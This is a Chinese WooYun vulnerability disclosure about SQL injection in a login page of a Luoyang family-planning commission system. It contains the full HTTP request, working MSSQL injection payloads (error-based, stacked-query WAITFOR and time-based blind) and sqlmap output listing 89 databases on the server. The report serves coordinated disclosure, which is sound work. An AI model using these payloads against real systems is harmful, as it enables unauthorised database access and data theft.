当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159543

漏洞标题:洛阳计生委某系统MSSQL注入(涉及89个库)

相关厂商:洛阳计生委

漏洞作者: 无名人

提交时间:2015-12-10 17:27

修复时间:2016-01-25 18:01

公开时间:2016-01-25 18:01

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-10: 细节已通知厂商并且等待厂商处理中
2015-12-14: 厂商已经确认,细节仅向厂商公开
2015-12-24: 细节向核心白帽子及相关领域专家公开
2016-01-03: 细节向普通白帽子公开
2016-01-13: 细节向实习白帽子公开
2016-01-25: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

POST /user/yk_CheckUserlogin.asp HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/?list-1222.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDCABDAADA=GABJIDKDDKDOAPFLNJJICHIB; safedog-flow-item=775D35C4FAE4121C8E4290A093089AEA; KS8w16lypdcom=RndPassword=&Password=&UserName=&UserID=219
linklx=cx&nfxm=aa*&nfsfzh=aa&x=20&y=16


nfxm参数存在注入

---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: linklx=cx&nfxm=aa' AND 1895=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)
+CHAR(112)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (1895=1895) THEN CHAR(49) ELSE
CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(98)+CHAR(113)+CHAR(113))) AND 'SFRC'='S
FRC&nfsfzh=aa&x=38&y=12
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: linklx=cx&nfxm=aa';WAITFOR DELAY '0:0:5'--&nfsfzh=aa&x=38&y=12
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: linklx=cx&nfxm=aa' WAITFOR DELAY '0:0:5'--&nfsfzh=aa&x=38&y=12
---
[05:46:03] [INFO] testing Microsoft SQL Server
[05:46:04] [INFO] confirming Microsoft SQL Server
[05:46:05] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2000

漏洞证明:

1.png


available databases [89]:
[*] bearing
[*] calb
[*] cama-e
[*] camaem
[*] camaem_new
[*] camags
[*] camamc_temp
[*] camamccom
[*] cnlightgs
[*] cnrrrcom
[*] enhhrz
[*] enhyshebei
[*] enjdsqj
[*] enlightgs
[*] enlynfSQL
[*] enlysunrise
[*] enysgxzz
[*] gxks
[*] hhrz
[*] hnqzj
[*] huigong_cn
[*] hyshebei
[*] jdsqj
[*] jsw_cszm
[*] jsw_ldrkxx
[*] jytooling
[*] KMCK
[*] kmjhcama
[*] **.**.**.**vvv
[*] lyczjm
[*] lydcpp
[*] lydexun
[*] lyfcw
[*] lyfz
[*] lygm
[*] lyhed
[*] lyhhauto
[*] lyhxndt
[*] lyjiashi
[*] lyjinye
[*] lyjwzc
[*] lyklhb
[*] lylebang
[*] lylebang_en
[*] lymeihang
[*] lymhb
[*] lynfSQL
[*] lynky
[*] lypdcom
[*] lyry
[*] lysjsw
[*] lysjsw_AddressIp
[*] lysjsw_Collect
[*] lysjsw_FS_ME
[*] lysjsw_OldNews
[*] lysunrise
[*] lywheat
[*] lyylbd
[*] lyzdjx
[*] lyzkff
[*] lyzys
[*] master
[*] model
[*] msdb
[*] muyuwh
[*] nmgbg
[*] Northwind
[*] pubs
[*] rkfw
[*] shengrui
[*] shyomax
[*] SilverEye
[*] tempdb
[*] txksjx
[*] wl-tech
[*] wodefu
[*] x1data
[*] xaw
[*] xinhezhiye
[*] ysgxzz
[*] ytohr
[*] ytojx
[*] ytorhy
[*] ytowl
[*] zengkai
[*] zkfdc
[*] ztjt
[*] ztjt_cnrrr1
[*] ztjt_old_cnrrr

修复方案:

@@

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-14 15:35

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给河南分中心,由河南分中心后续协调网站管理单位处置。

最新状态:

暂无